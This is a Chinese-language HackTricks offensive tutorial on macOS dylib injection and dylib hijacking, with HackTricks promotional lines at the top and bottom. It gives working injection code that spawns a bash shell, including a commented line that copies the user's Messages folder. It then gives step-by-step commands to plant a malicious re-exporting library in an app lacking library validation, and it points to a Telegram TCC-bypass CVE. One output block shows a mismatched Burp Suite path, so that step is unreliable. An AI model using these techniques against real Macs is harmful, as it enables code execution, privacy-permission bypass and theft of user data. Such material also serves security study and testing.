macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

其他支持HackTricks的方式:

DYLD_INSERT_LIBRARIES 基本示例

要注入的库以执行shell:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

攻击的二进制文件:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

注入:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Dyld劫持示例

目标易受攻击的二进制文件是/Applications/VulnDyld.app/Contents/Resources/lib/binary

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions

根据前面的信息,我们知道它没有检查加载的库的签名,并且试图从以下位置加载库

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

然而,第一个不存在:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

所以,它是可以被劫持的!创建一个库,执行一些任意代码并通过重新导出来导出相同的功能作为合法库。并记得使用期望的版本进行编译:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

编译它:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

在库中创建的重新导出路径是相对于加载器的,让我们将其更改为要导出的库的绝对路径:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

最后只需将其复制到劫持位置

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

然后执行二进制文件并检查库是否被加载

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

关于如何利用这个漏洞滥用 Telegram 的摄像头权限的详细说明可以在 https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ 找到。

更大规模

如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时加载到进程中(在这种情况下删除 printf 和 /bin/bash 执行)。

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

其他支持HackTricks的方式:

最后更新于